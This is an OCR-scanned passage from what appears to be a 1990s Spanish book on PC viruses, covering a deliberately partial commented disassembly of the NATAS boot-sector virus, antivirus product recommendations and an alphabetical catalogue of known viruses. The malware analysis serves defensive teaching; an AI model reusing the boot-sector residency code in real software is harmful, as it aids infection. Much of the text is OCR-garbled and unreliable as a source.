IJIOS, etc. 

C)on 1.1 1:utina tk_ uttltd.1dcs -U.[XE del progr.llll.l ruso 
AVI_200, ::.e loc.~IIZO .11 t•mts Nata~ en 1.1 menltlri.l de 1.1 cum­
pu.tat~or.l y :-.L•Ic desens.1mblú, obiL'nicndu un rcsult.llin, que 
COIIl~tde L'llll L'l dL'SL'llS:llllhl,ldntnici,ll deJlllL'I pll del vir liS l'll 
el pnmero dL' los llliL'\ L' SeL'tore~, uti!tZ.llldo t•lt!t·:-.L'tl"·lmhJ.1-
~~nr 5ou!Ct'l tk• V C0,\1.\IUNICAi"IONS lrK de S.1n )tl:-.L;, C.llr­
IOJni.l, L'll E:-.t.lllos Un1dos. En c.1mbiu, t.'l dl':-.e 11 ..,,1111 ll),1dolk·l 
viruS loc,~ll/.olllll L'll llll olfLhl\'ll l:JL'Lll[,¡lJJL' :-.IL'Ill~llL' ,]J]ll)l.ll('­
Stllt,ldO'-< LlbPS dl'1111hl ,1 :-.u cndJ!tC.lCit'lll 
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Enseguida se presenta el dcSL'IISnmblndo de la parte de Na/(}S 
y_ue se loca!Jz¡-¡ en 1.1 tn/Jln de pnrficÍLlllCS de un disco Juro mfec­
todo, coment<~ndo <llgunJs de sus rutin.IS, y el dcsc/lSniiiNndo 
del inicio del cód1go del cuerpo dt?l VIrus, comparado con el 
del \'irus en memo na rcaliztldo con AVP_200. Por seguridad, 
sólo se present,I un poco del código, que no desentrar1<1 todJs 
las JrtunJñ<Js de gue se \'<Jie este progr.Hll<l p.n<~ logrM sus 
efectos dar1inos 

. ...................................................... . 
1 
Desensamblado del virus NATAS en el sector de la tabla de particiones ........................................................ 

org o 
part proc lar 

start: 
call sub 1 

part endp 

sub_! pro e ne<~r 

1 
El v1rus debe de cargarse a la me mona en forma residente y proteger d1cho espaciO para que no 

; sea sobreescnto por el DOS. Para lograrlo al! era el valor total de memor1a almacenado en la 
:localidad de memo na 40.13 (hexadwmal). Aquf es donde el 8105 almacena el tu tal de memoria 
; RAM disponible en la computadora Una vez alterado el valor, el DOS "pensará" que sólo d1spone 
, de esa cantidad de memoria y no sobreescnbirá al virus Natas aparta para sf m1smo 6kB de la 
; memoria para cargarse. 

mov dl,40h :Direcciona el segmento de BlOS 
mov ds

1
dl • Ponlo en OS para accesar 40 13 

sub V/ord ptr [dr-2Dh].6, Reserva 6k 
mov ax,[dr-2Dh[ , drte al DOS que sólo trene 634k 

1 disponibles 

1 
Una vez que el virus engaM al DOS. se cargará en la parte mas alta de la memoria. En una PC de 

; 640k de memoria, la parte mas alta encuentra a partir de la localidad 655,360 o en el segmento 
, AOOO 0000 Puesto que el virus reser.1ó 6k o 6144 bytes ( 1 BOOh), el segmento donde se cargara 
: sera655,360- 6144 = 649,216 o sea 9EBO.OOOO. Para calcular el segmento donde se cargara, 
: ut1!12a la fórmula ((640k- 6k) • 1024) 

mov 
ror 

ct,OAh 
ax,cl 

; Calcula el segmento 
; donde se c::Hgará el virus 

1 
Hasta aquí el v1rus ya reservO la memo na que va a usar así como el segmento donde cargará el 

; resto de su cuerpo, ensegu1da carga éste. que se encuentra en el Cilindro O, Lado O del disco 
; duro, o en los últimos nueve sectores del d1squete En total Natas lleva a la memoria 9 • 512 = 
, 4 608 bytes 

mov es,ax , Segmento donde se carga 
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mov 
xor 
add 
mov 
int 

ax,209h 
bx,bx 
ax,O 
dx,80h 
13h 

; Dile al BIOS que lea 9 sectores 
; OHsei O dentro del segmento 
; COd1go muerto 
; Cabeza O, dnve C 

, En caso de que la lectura sea exitosa, inmediatamente el virus le pasa el control a su código e 
; me mona a través de la instrucción RETF n 

loc_2: 
jc 
push 
push 
retf 

loc_3 
es 
bx 

; Genera un error si no se puede cargar a la memoria. 

loc_3. 

loc_9. 

int 
add 
add 

18h 
[di,1Chj,dh 
SI, 10h 

loc_4: 

loc_5. 

etc. 

mov si,6CAh 
mov di,IOFEh 

; Pon la direcc1ón del código 
; del virus en memoria en el stack 

cmp word ptr [dlj,OAA55h 
jne loc_5 
mov s1,bp 
jmp 00007COO 
sub_! endp 

; Al final del código del vnus. deja parte del programa de carga de la tabla de particiones onginal. 

db 
db 

OEAh, O, 7Ch, O, O 
'Tabla de partic1' 
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db 
db 
db 
db 
db 
db 
db 
db 
db 
db 
db 
db 
db 
db 
db 
db 

OA2h,6Eh,20h,6Eh,6Fh,20h 
76h,OAOh,6Ch,69h,64h,61h 
o 
'Error al cargar s•stema operat•v' 
'o' 
o 
'Falta Sistema oper' 
222 dup (O) 
80h, 1, 1,0,4,4 
001h, 2, 11h, O, O, O 
OEEh,OFFh,O,O,O,O 
OC1h,3,5,4,001h,OCFh 
OFFh, OFFh, O, O, 1 lh 
44h 
34 dup (O) 
55h, OAAh 

................................................ 
; Desensamblado de la parte in1c1al del cuerpo del virus Nalas. ................................................ 
natashd 1st Sourcer L1s!Jng v1 86 19·Aug·94 1.08 am Page 1 

NATASHD 
; Created: 15-Aug-94 
; Ca de type. zero star1 
, Passes· 5 AnalySIS Flags on: HORS 

: 40'.75. Número de d1scos duros d'1spombles 
= 0475 data_ te equ 
= 0000 data_2e equ 
= t2CC data_t5e equ 
= 1205 data_16e equ 
= 1207 data_t7e equ 
=13E7 data_18e equ 
= t3EB data_t9e equ 
= t3EF data_20e equ 
= t3F7 data_2 1 e equ 
= t3FB data_22e equ 
= t402 data_23e equ 
= 1404 data_24e equ 
= 1406 data_25e equ 
= 1408 data_26e equ 
= t40A data_27e equ 
= t40C data_28e equ 
= 1400 data_29e equ 
= t40E data_30e equ 

1 

475h 
o 
12CCh 
1205h 
1207h 
13E7h 
13EBh 
13Efh 
t3F7h 
13FBh 
1402h 
1404h 
1406h 
1408h 
140Ah 
140Ch 
1400h 
140Eh 

; (00000475=1) 
, (5F9D0000=1f0Eh) 
; (5F90 12CC=0) 
; (5F90:1205=0) 
; (5F90.1207=0) 
; (5F90: 13E7=0) 
; (5F90. t3EB=0) 
; (5F90. 13EF=0) 
; (5F90.13f7=0) 
; (5F90. t 3FB=0) 
; (5F90. 1402=0) 
; (5F90: 1 404=0[ 
; (5F90. 1406=0) 
; (5F90. 1408=0) 
; (5F90. 140A=0) 
; (5F90 140C=0) 
; (SF9D 1400=0) 
; (5F90 140E=0) 
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"1410 data_32e equ 1410h , (5F90 1410:0) 
: 1411 dala_33e equ 1411h , (5F90 141 hO) 

seg_a segment 
assume es seg_a, ds seg_a 
org o 

natashd proc lar 

5F90.0000 start. 

5F90 0000 DE push es 
5F90.0001 1F pop ds 

: Obtén vectores de interrupción 

5F9D·0002 EB 0094 call sub_3 ; (0099) 

; Graba Al en mi propio segmento de cOdigo, en el desplazamrento 4 73 y también en la localidad de 
. memoria 1411 

5F90 0005 A2 04 73 
5F90:0008 A2 1411 

5F9D.OOOB BECO 
5F90 0000 SF 
5F9D OOOE 83 Ef 03 
5f90 0011 50 
5f9D0012 57 
5F90 0013 BE 004 7 

mov data_9,al, (5F9D 0473:0) 
mov ds.data_33e,al ; (5F90.1411:0) 

mov es,ax 
pop di 

sub di,3 
push ax 
push dr 

mov sr,47h 

Medidas de prevención 

P<~ra este virus en particular se recomienda conl<lf con por lo 
menos uno de los cuatro programns antiv1rus m;ís conocidos: 

;.;.. Set111 vcrsiá11 2.1 O de Me Afee A~socJates, el cual se puede 
consegUir a través de los BBS dedic11dns a lns <JniÍ\'Irus, o 
en 1.1 rl'd llllallct. En muchos países -como L'll t\:léxico por 
ejemplo- existen reprcscnl.mles de ~k Afee de Silnl,l Clk 
r<1, Californin, Estados Umdos, que tu~ncn ~us propias for­
m,ls de COillC!CÍ,l]i/.,lCrÚn. 

-, Thwuft'r/JJ¡/t' l'CISitÍn 6.~2 o m.ls .KiuZ~I, .mtivuus HoiZ~ndés 
creado pÚr ES11SS B. V, cuyo u~presentante vn !v1é>..iCll es 
MICROASIST. EsiL' .mtivJrus es uno de los m.~s rápidos en 
b venfic11ción de ilrcl11vos e incluye bl'1squedi1 heurístic.1 
l'n su código. 

Figura 5.27 
Desensamblado 
del Inicio del 
cuerpo del vitus 
Notos localizado 
"1n lroganti" en 
lo memoria de la 
computadora. 
Observe que el 
comíenzo del 
virus es Igual al 
del lisiado de 
Sourcer. 
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~ F-P/~OT pcr:o;iÓIJ 2.1 3a en sus \'L'rsionL'S de Sh.lre\\',lre o Pm­
fesionJt que pueden conseguirSL' medi11nle 13135, o en ¡.lé­
xico, a tr11vés de su distnbuidor JUiorizado. También muy 
rápido en su büsquedíl, ofrece informílctún acerca de gran 
CünliJ.1d de VÍiliS. 

> Sca11666 dL' PC Editores, S A. d1: (-V, que se entregíl gratis 
a los suscriptores del boiL•tín PC ;,,duciones/lndJcíldores. 
También se ofn.xió J los usuJnos de computadoras por 
nwdio de Jntmcios en líl pn2ns;¡, .Hiem.ís de asesoríil p.1r.1 
li111p111r las computador.1s tnfectíldas. 

La informJ.ciún completa sobre estos y otros prngran1.1s 
antivirus líl encontrar<l en t:l C.tpítuln q_ La recorncndilciún 
que no puede L1ltar ílquí es no u-.;e ropttiS pirnlcada:> de pro­
gramas, SI utiliza y SZ"~ca pnwechn de los programílS de ShtiiC­

warc, envíe el pago correspondil'JliL' íl sus Zlutnres, así en 
;¡delílnle pndr.í contar con m.ls y mcjorL'S prngram.ts por ese 
medio, y jll)f L'litinw, fl'Spíllde o hag.1 copia~ de ~csundtld de 1.1 
infonn.Kiún ~t:nerad,l cnn !.1 com~Hll.ld{lr,L 
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--r .. 6 1 Fuenles de inlormoCLón --r4s--

A
dem<Ís de los seis virus tratados J fondo en el capítulo 
unterior, h.1y una gr.-m v<~ried<~d de ellos que se han he­

chojnllra~o~, unos por !J clcsnncia de su cód1go que h.1 permi­
tido rcahzur modificaciones, a programadores que incluso 
no tienen demasi.1dos conocm11entos, otros por los grandes 
estragos que causan a la m formación alm<1cenada en bs com­
putador.ls, y los m<Ís por la Glll!Jdild de computador<ls infec­
tadas en todo el mundo. 

6.1 Fuentes de información 
La inform11ción que se obtiL•ne JcerGl de ellos, se dL•be pnme­
ranu.•n!e ¡¡las publicílcJoncs zd respecto que re<1\izan los me­
dios especializados o no, en inforrn{\lica, l!nscguida a lt~s 
notas que sobre i.>irus 111jomuílietJS se dejíln en los UBS o en las 
bt~ses de d<1tos de redl!s como lnta11t'l, ConiJ!liSt'l't'l', SPIN y 
otras, y en tercer lugar ,1 p11/J!Jcncioncs cspcciali:ndns en este 
tipo de progr<1n1as daii.inos como L'l VJRUS-L D1ge~t de lutcr­
ncl, el V1111S Hu/11'/in, los mismns ptosrnwas a11/1im 11'5 y ¡¡¡¡/lhcll­
ciollt'S da/Jáni(IIS, donde se recnpib lllforrnación tecmca de 
todos los virus conocidos. 

Lus revistas y rnedws no especi,lli.t.:ados gL•ner,llmente 
tienden .1 L'Xztbt.>rar !.1 infurm,Kión sob1~ i'll'll~ ,¡]difundir ver­
SJOnl'S, caracterÍ~IIC<tS y funciones destructivas que no les son 
propias; en los BBS y rl!des inform.í.tic1s ,1 veces se encuen­
tran datos que resultan im~1reosos, ya que Sllll gL'ill!r<~dos por 
usuarios im'.\pcrlvs que han sufrido t~lgun.l infección y t~h¡ co­
mentan sus cxperienci.ls -,lllnque t.1n1bién se pueden encon­
tr.H consejos de ~-lJh'r/o::i pnJ~IIIIIHidon·s-, finalmente los 
listados de los c:\~lertllS present.ln dncunwnt,Kiún muy con­
f¡able accrc<l de los nombres, forma de contugio, d,lii.os que 
pueden caust~r y matwras de e\'ilar lns vi1us. 

Una de estas publicaciones electn'mic.ls L'S VSUivt (Virus 
Informt~linn Summary List), uno de los cumpendws accrctl 
de los Vli'IIS illjonuálicos. m{\s COlllllidos hasl;a !J actualid<1J, 
que puede "bajarse" de los BBS de McAfc~ As.sociaks, o de al­
gunos fnros como [Hicmt'l o Co111pus.en'e. ·~:1mbién SI.! puede 
pedir direct.unente a su autora, J',¡trici,l f\.1. I-loffman, a su di­
rección: 

3333Bowcrs A\'_, Su1tc 130 
Sanl.1 Cl;ara, CA 9505-1 
U .S A 
lH: (408) 988-3773 

1 

' 
1 

! 

f 
f. 
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Figura 6.1 
Pantalla de 
bienvenido al 
programa de 
hipertexto 
(Hyperlexl) 
VSUM. de 
Patricia M. 
Hof1man. Aquí se 
presenta uno 
extensa 
recopilación de 
todos los virus 
conocidos de las 
PCs. 

El reqlll:1Jin mdb~wn:-,lbll' p.H.l po~L'l'r !,1 IKL'IlLJ,l indn idu.1l 
de u~o del prngr.lm,l, t'~ l'Jl\'Í.H US S31l dúl.l!t':-> .1 ~~~ .lllillr,l, 
par.! uhlL:'llL'I L'l dl'rL'clh 1 ,¡ l.h tu:llhl h.t:uciones qut• oiiL'ú~ .1 1 r.¡­
vés de su BBS, inst.1l.1du ,¡ !.1 líneil telefúnic.l (.tOS) 2-1-1-0HI.'l, 
tilmbién L'll C.1llfornJ.L L.b licencias ptlr~ cmp1 L'S;]~ y oiiOJl.lS 

de gobiernn dcher<Í n lr .11111 t.use di reclamen le n con lo~ d 1:-,l 1 ¡­
bu1dores dL·I producto, que Sl' L'llCUL·ntr,men todu el mundo 
En el menú de VSU~l puede L'llCllll\r,u J.¡ ltst,¡ de tus rL'Pi'L'­

scnt<lntes p.lril tod<ts J¡¡s .íre.1s JLhom.itKas o cuntlnent,¡h·:._ 
Este ::'1111111ri(J de l'lrll~ quL' COlllL'IlZÚ cnmo un <lldl!vo dL' k\to 

ASCII, h.1 L'VnlucionZ~do h,1st.1 lo que es hoy; un ¡'¡tJ!, colnpk­
to y veloz progr.-.m.l de !Jipcrlt'rto (llyperText), que JWrrnite 
consult.u Jcere<l dL' ZIÍ/11::' t'~pcn/il"o~, loll:::lturlc:> t'll /1yfc:> dL' 
cada uno de ellus, rL'IJc•ún o ji111ufm~ de t 1 1fll~, (echo-:: de nctit'n­
cidll, Ílldtce n~{¡1bd in1, L'tc. Aderníls p.u.1 c.ld<l v1; us pre::-t'll 1.1 un 
cuadro con d.1tos como 1/0ntblt', alw~. jcdw, pu:--ible lugnr d~· 
vris«'" ,fo1nw~ de contng1n, llltJdtl~ dt· dt'k(CJtÍII 11 el '''111111(/ÓII, v t'o-
IIH'IIftlrio:c; St'llcrnlcs_ · 

Los virus rn.ís conoc1do~ y ljllt! m.'is St! h.1n L'~fl,lrLJdtl en Lb 
comput.lllor,lS, seg¡'¡¡¡J,¡ CIIIIJ'IIIa Vn11..; fudu,..;f¡¡¡ /b::nollfltl/1, 
son Scon·~ y 11VI/~ en la ~l.KJillo~h; SCSJ l'n :\;Jn¡-;.1, f.!'lugh. 
Menil o ¡\JII/1/I'da, Ortlpar. ¡\llJS, l'oki~fllll/ Braur, Jcru::aft:/1, 
Vicllllrl, Oa1k 1\L'<'II\'t'r, Pi1r\' Poli\', Slcllli'd, M1cht'11111'\l'ltl, 1\IICtljl 
y muchos ntros en'l.1s IB~l u n;mp.ltlhl~·s_ ' 

Figura 6.2 
LISIO de los 
distribuidores de 
VSUM para 
México y 
SudamériCO, 
donde se 
pueden 
conseguir 
licencias 
corporativas 
pma uso del 
producto 
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Aqents MexJcO' south Anenca 

Arqent1na: 

RAtl Inqo>nleria de Slster>as 
co .. qoJJn 10-~o e 
Bllenos Al res l '08 
Arqentlna 

er .. z 11: 

Haple Inlorm.,tl<:a Ltda. 
R. ]'!.aranhao, SS4 e¡ 2b 
01240 Sao PauJo, ~P 

BraZI 1 

Chi Je: 

Rtqg S.A. 
Avd,, Salvador lOt.e 
p_Q, BoM 10. 29S 
Sanuaqo 
crnle 

Hex¡co: 

Mt:Aiee Assoc¡,ttt·S, Hc~ICO SA tle CV 
Av. Nut•vo Leon No. 2:.1, .,. p1so 
Col. [scadon C 1'. 11800 
He><JCO 0. f'. 

Contacl. Marle Jose Alvarez Har.elln 
Telcph::mc: -~4 (l) 60-H8'f 
!.H. -~4 (1) lH-1802 

contact· Dav1d Ro.tenben¡ 
Telcphonc: • .,., PI) 82.,-9190 
taM: ,.,., (11) 826-~l75 

Contact: fl¡cardo Glltlcrrcz 
'f.,Jcf>hone: • .,~> (2) 22:.-0222 
f\u: •.,6 (2) 225-0~40 

contM:t.: "rturo D•· la Hor-a c.trrasco 
Teluphon" •(:.2) :. 273-0~·S• 

r .. ~: ·(~21 ., 27l-J019 

D<l\'e Ferbr<tche del DepJrtamentn de C1encr<ts de CO!llf~~­
t;Jción, de !.1 Heriot-\Vatl Univers1ty de Ingi.Jterr.l, t.1mb1L'll 
hace una cli1sifJC.lCÍÓn dL' los ,·irus pnr sus nPmbrL'S, lo~ cu<l­
les ha estud;ado y msfrmdo para confirm.u lo que se ha~ía 
mencionado aquí; muchos de los virus que se de1ect.u1 dl<l­
riamenle son vnrin1tlcs de los más conocidos, ~1cro Gldo perso­
n<l que sufre IJ infección por alguno de ellos, lo ~studia y l~ 
define, poniéndole un nuevo nombre Afortun<tdament_~, lo~ 
nombres mñs genéncos se sacan de cadenas de te:\to ojm11as 
que sus autores mtroducen en el código d(' h~s v1rus, lo que 
permite umficar crilerios t:~l momento Je bault:arlos_. 

El nlllivllliS mso AVP _200 de KAI\·11 Corp., ademas de pre­
sentar pantallas con información -no ?'u y cnn~pleta- de cad<l 
virus cotwcido, en algunos c.-.sos perm1te -pres10n<1ndo lt:~s te­
clas[§.] +i[QJ- observar o escuchar los efectos del vrrus e~1 
una versión si1111tfnd11, que da un<l rdea de lo que h<~ce cJd<l VI­

rus, sin tener que i11Jcclnr la computador.l. 

6.2 Los virus más conocidos 
En la sigu!CniL' clasifiGICIÓn, por orden alfabético co_n res~~ec­
to al nombre, se toma un poco de mJteriul del tmbaJO de 1-cr­
brachc, de VSUtv1, de AVI'_200, y de otras fuentes de 
información, .1sí como de investigaciones del propio_ a~tor, 
para dar una 1dea de los viru~ m<Ís conocidos y sus p1rnop<1-
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les cznactcrístJL'<JS, dd.1lbndo las formas de contagio y l<1s 
áreas específicas que at,1c<Jn en el disco. 

AIDS. 1:1mbién conocido como 1/oha/w (como nsa burlo­
na ja-¡a-ja), Tnzmf, SIDA o VGA2CGA, es un \'irus infector de 
archivos e¡ecut<1bles (con extensión .COt-.1 o .EXE). t\1 activ<H­
se presenta un mensaje en la pantJIJa. ")ímr computa liMo lws 
AJOS" ("Su computadora IH~ne SIDA"), con l<1s letras AJOS 
resaltadas y grandes. 

El ,·irus infecta los archivtlS l!jecut.1bks posicionándose en los 
primeros 13 kB, por lo que al elimmJrlu con cu<1lquier .mti\'Í­
rus, los program<~s quedan inscn·iblcs. Se recomienda borrar 
los archivos infect<1dos y reempla~arlos por los origin<1k•s. 

AirCop. Virus residente en memona descubierto en Esta­
dos Unidos en el ailo de 1990, de origen Taiwilnés, infectn L'l 
sector de <Hrnnque de los disquetes. Es un v1rus muy dtnlino, 
ya que destruye los d¡¡tos del sector 719, que es a donde enví<~t.•l 
programa de carga origin;¡J. Sólo infcci.J disquetes de 360 ki3 
de 5 V4 ",y decrement¡¡ !.1 memon;1 de b comput;Jdor<l en 1 02-1 
bvtes cuando se instal<1. Bloquea \'utiliza las llliCrrupcinncs 
I:Í.h, I3h y 1Bh par<1 controlar l<1 c¡Jmputad01a. 

Alcatoriílmente desplieg;1 el mens.1je "J~cd Sin/e, Cerm Of­
ft.'l/SH'l'. AJR.COJ>" y gl'ncralmente no mfccta ni sector de c;¡rg.l, 
ni tabla de pMticiones Jel d1sco duw. La \·crsiún Airúlp-13 se 
activa en L'l mes de septiembre y p1esenta otro mensaje que 
dice: "This. is thc AIRCOP" La maynría de los ,mft\'Jrus lo re­
conoce v dcsinfect.1. 

Alabáma Se descubnó en la Untversidad Hebreil d~ jeru­
salén en octubre dl~ 1989. lnfect,l los J.Ich1vos ejecut,1bks con 
extensión .EXE que cncucnttc :.'n el dira/orioalfual y les in­
crementa la longitud en 1 .560 bytes, cst.í prngr.Hnado para 
activarse súlu en \'Íerncs y C<ll1lO mnncja 1.1 tnUirJ de asig11ación 
de architJOS (File Al loca tion ·¡:1blt.•, FAT), cuando estil ,Kttvo bo­
rra los Z~rchivos de progr<~mas o titltos 

Alameda. En 111.1\'o de 14)88 se tuvo notici.1 de este \'Írus 
en el Merrilt Colleg~ de O.Jkbnd, Califmni.1, .wnque se su­
pone que fue desarrolktdo a fines de IY~7 No fue discil,Hio 
originalmente p.u.1 que c;¡us.1r,1 d.lilos intencinnaks, pero en 
sus nuevas versiones pul'dt.• destruir <1rchivos de d,1tus. Se du­
plic,l cuando se h<1ce un.1 Jeinici;¡!Jzacic1n con l.ls tecl,1s §E) i· 

@.1 + @.1, tnfect.mdo todos lo~ diSúlS de 5 1/4" de '360 1-.B con 
los cuales tenga cont.Jcto en los sistemas de IJs PC de IIHvl y 
comp;¡ttbles. 

Despl;:,za el sector de car¡:?,.l imcii11 al sector S en la pist.1 J9 
del lado O, y ocupa su lugar en el Sl'clor O, lleva un.1 rciZ~ciLm 

Figuro 6.3 
AVP 200 permite 
con la función 
Demo. oír y 
observar los 
electos de 
algunos virus. 
como en el coso 
de Ambulance 
fom1/y, virus 
procedente de 
lo Alemania 
Oriental de 
aquel 1990. 
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de bs \'I..'CL'S qut• h;, mfcct.1du ntws di SOl"~ ... unllL'Il~' un.1 ins­
trucc!Ún tnll\' r.ll ,1 (1'01' (~), quL' llll PL'I'Illlte l]llL' Jn!vcte .1 lns 
sistem;¡s cnrÍ plllCL'S,1dor 2S6u 3Sr1 1\l~tllkllWll~t.· dL' 01 SL' dL·­
riv,mlos \'trus )íJk, Aft'lllll, 1\'kuls, A-ltJ:tlflilll y :Ot'tlll/. 

Asume L'l Cl1lllnd del SISlt'm,l de~dt.• 1.1 t.'.ng.1 )JlJCJ,ll, 1.1 cu.1l :--t.' 
.hi1CC muv knt,l, tlbt,ll.1ndu::.t~ L'll L1 p.lriL' ~upt•nor dl.' \.1 illL'lll\1." 
ría dL' !.1 ~-umput.ldllr.l, t.'ll dnndl' uLllll,l 1 1--B. Ck.l::-Hm.l !.1 (I/ I­
da del ~~~/ 1 ·¡¡¡ 1 ¡ \' L'l l'tlll orlo dt• dil/rl:' :\dL•tn.b, ... -onlll Illl p1 ntq;c 
al SL'Cinr O m,,;·c.lndtllo omw :'ft ft¡¡ 1/tl 111 ilt:al•k, !.1 mfunn.1ch'm 
que se t.•stL· gr.1b.1ndo puedl' .l111j,n~L' t.'ll e~c ::.t.•cln• y d.lii,¡rln. 

Sus \'ílfi,lJlll'S s11n .·\/Jilllt'dn-/3 o ~IIO/JIIIt'/1/¡1, 'lllL' I1ll IIL'Ilt.' !.1 
instrucciún de pllltL'CCII.lll dl.' lo:: si~tt!ll~,l:' :!.S(,~· 3.Stl, ;\lanJt·,/,¡­
C, quL' lllhilhilil,1 b IUJKIÚil de C,lfg,1 lllli"J,ll_..._]l'~jllleS d~ ]l)(} 

infL'CCltll11..'S, Vil U:' sr (V,lt hl11le deJ,\/¡11/It'dii-C.), qu~· ~l' hCJ lll.U­
dihcado ~)lJLl f,nm.ltl'.1r L'1 ~hsquL'tL' de l<11g.¡ JlllCl,ll o d~,.• SJ:'­
tema, ,_·u.lndtl t.•l L-1l11t.Jd1ll se .1c.1b,1. 

AmbulJncc C.u Es!L' \'i1us llllt•ct.l h1s .lilhi' 11~ C0\1 l]lll' 
se L'l1CllL'Il!Tt:ll <..'11 t.•J dirL'CitlJitl L'll l!Sil, y lo:-- •]ti<.' •'~(,'•n u(~JC,l­

do~ L'n las ,·í,ls '-'SPL'CJIJ0.:,1d,ls con L'l ..._·pm,1ndt' l'.\·1 H t't1t·l ,u­
chi\'o AUTOI:\EC Br\l A!v.ltnn.llllL'Ilk, Cll.llhltl s._• t.'jl'CU[,¡ 

un prog 1•1111 ,1 mfect.ldo por J\n¡/¡¡¡/auoa, :--L' Jl1L'~L'11Ll un,l Jlll,l­
gen de un.1.unbuL11h:i.1 l]tiL' b.lJrL' ],¡ p.1rk llllt'rlur dt.•l,l IJ,lll­
t.JIItl dL' ¡;:quit'Jdtl a dvn.:-ch,1, llllt.'!llr,IS ~l.' t.':--CL1Ch.1 l.'( ~lll1hlll 

C<1fZlCiel Í~l!Ctl dl' UJl,l Slrl.'!\,1 

• 
~flyf,¡llCC Í4~ily 

Thcrc 4re o1 mn dangerous alhi non ICIIOI"Y-:ocsldcnt viN!scs. 
Thcy by sl11ndo.rd ""nner infect .cnn-flles oí thc cu~n::nl 
dircctory nd dlrccwries spec1fied In the PAn! str1rog. 
Depend.lng on the TtiJnhcr of infectn1g fllt:s these iofectors 
Mnlfesl lhettsclves b.J <111 aausmg v1dcil cffcr.t - it soulld 
like 4 sln::n and dlspl<'~!,l thc fol lowlug plclure n1nnmg fro~ 

tbc Jclt ta the righl ilf thc scrccn: 
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L<1 primer<! \'ersión infectJba sólo un archivo de cada sub­
directo no cada vez que se ejecutJba un programa infectado, 
y esto lo hacía rcspct<:~ndo al primer COM que encontr<tba, 
por lo que siempre se salvabil el COMt\'1AND.COM, pero la 
moddicanón; Am/¡¡t/nlltC Cnr-H, puede infectar O, 1 o 2 archi­
vos en c<~dJ <1t.1que viral. No se s<1be que produzc;¡ d11Jios <~di­
cionales a In información <1lmacenacb en la computadora. 

Amstr.1d. Un virus cuyos orígenes se suponen en Españ¡¡ 
o Portug.-.1 y que debe su nombre a la cononda marca de com­
putadoras Amstrad, infecta lns programas con extensión 
.COM, sobreescribiendo los programas con 8-!7 bytes, que es 
la longitud de su código. No se tienen notici1.1s de que pro­
duzca dai1os a los archivos -excepto a los que infectn-, y no 
contamma al archivo COMMAND.COM. 

La facilidad de modificación de su código ha producido 
infinidad de versiones, cada una de las cuales presenta un 
mensaje parcodo o diferente a la versión origin.1l. Los men­
sajes m<Ís comunes son los de las versiOnes: 

Amstrad 283. "~Vhat a st11pid lfVII are!!!!!!!!" 
Amstr<Hi 299-l3 "Sofla>nrt' Fni'l11re '/(¡:;k 1-lcld Curu Medita­

¡ /Oil #456789.3·1567,???" 
Amstrad 847-B "Bu y Amstrnd it 1s lile CI-IEAPEST COI\·IPL/­

TER thal you Ctlll bu y" 
An1strad 847-C "E11 111 PC hay 1111 Pi rus RV1, y ésta t'S su quiu­

ta generaCIÓII" 

ANTI. Virus descubierto en francia en febrero de 1989, In­
fecta programas de aplicación o incluso el Finder en l.1s Macilz­
toslz. Resulta más contag10so que los virus Scvrcs y 1zVIU, pues 
busca los programas y los mfecta .umque no se les cjecut<l. 
Sobreescribe algunas partes de Jos archivos mfectados, y aun­
que se limpietz con algún antivirus, puede ser que\¡¡ versión de­
sinfectada presente algunos problemas al ejecutarse. En 
septiembre de 1990aparece también en Franoa una segunda ver­
sión denominada ANTI-B, con código muy similar a IJ primera. 

A nti-Pascal. T.1mbién conocido como AP, AP-605 o C-605, 
de origen Bt.ílgaro, descubierto t..•n Sofía, es un virus l¡ue in­
fecta dos archivos .COM que se encuentren en el directorio 
raíz o en el actu;:~l del disco duro, cadc1 vez que se ejecute un 
programa infectado. Inserta su código al principio de lns ar­
chivos .COM infectfldos y envía esa parte del programa ori­
ginal, hasta el f¡nnl del archivo, con lo que la longitud final 
crece en 605 bytes. 
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Si no encuentra los dos ;uchn·os COt\1 para infectar, busc<:~ 
los que teng<~n extensiones .PASo .l3AK para insertar su código 
en ellos, par<1 después camb1Mlcs la e'tens1ón a .COMo a .EXE 
si es que existe un arch1vo .COM con ese m1smo nombre. 

Anti-Tel. Es el f.mwso virus esp<1i1ol denominJdo Allfi/C­

lefónica que infcct.l el ::;cclor de arnHHfllt' (Boot sector) de los 
disquell's o btabfa de p11rticioncs (Master Boot Record, Ml3H) 
de los discos duros, y cuando se act1va resulta muy destruc­
tivo. Como\;:¡ mnyoría de los virus rcsidt'llfc::;, se instala en In 
parte alta de la memoria de la computMior.l, pero siempre 
deb,ljo de los 6-:10 k\3 convencionales. . 

T;~mbui·n como J lgunos otros virus, sobreescribe su código 
en el sector de arrrmquc de los disquetes y utiliza los dos t.Hti­
mos sectores del directorio p<~ra el resto de su c¡¡erpo y el pro­
grama de carga ongi n<Ll. S1 ex~stic:ran da ~os _en eso~ sectores, ~e 
sobreescribirían con]., consLglllente pcrdLd<L de mformaCLon 
en el disquete. 

Utiliza técnic<ls ::;/t'allll (cautl.'los<Ls) para desv1ar los mtcn­
tos de detección cudndo est.í activu en b memo na de la com­
putadora. Después de 400 carsas cnn un d1~quete o disco 
duro inft!ctado, t'! virus Jesplicga el mensaje "VJR.US ANTJ­
TELEFONICA (BARCELONA)" y sobreescribe las áreas desiste­
ma del disco. 

April 1st. Tí.1mbién conocido como Suriv, es un virus que 
ataca los archivos COM, excepto el COMMt\ND.COM y 
prescntí.1 en pantal1.1 un mensaje "Aprillsl !In J-ln lla Youlm_vc 
a vín1s". Se activ.1 el primt.'ro de abnl, tan pronto como se e¡e­
cuta cualquier arch1vo .COM mfectado, y luego se posicionil 
en la mcmorLil para esper<Lr la ejecución de otro archivo 
.COM, al cual mfectc\ también. La nueva versión, Apnllst-8, 
infecta además los progr.lmas con extensión .EXE. Estos vi­
rus pueden rastrearse buscando con Debug o con un progra­
ma de utilidades la c<~dcna de caracteres sURIV 1.0. 

Austrian o 648. Este virus, que se conoció por primera vez 
en Londres <1 fm<Lles de 1988, no caus<L serios dJñns, aunque 
sí infecta los programas con cxlcnsLón .CO~I, ilumenlando su 
tamaño en 6-!8 bytes. Su variante J\¡¡slri(l/z-B hace que el ar­
chivo mfectnJo no se ejecute, y sólo infectJ uno de c.1da du:>z 
archivos .COM; l.t vt_•rsión Vims .JOS reemplaza el archn•o in­
fectado por su propio código de 405 bytes. . . 

Boot Sector. Es un virus originari.1 .te !.1 ex Alemam<L OccL­
dentnl que ataca a bs computadoras Atari modelo ST, al_nján­
dosc en el sector de cmg<L Je Jos ~..hscos. Cuando se reaiLzn la 
cargo u11cial dL·l sistema con el disco infectado, el .virus se ac-
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Figura 6.4 
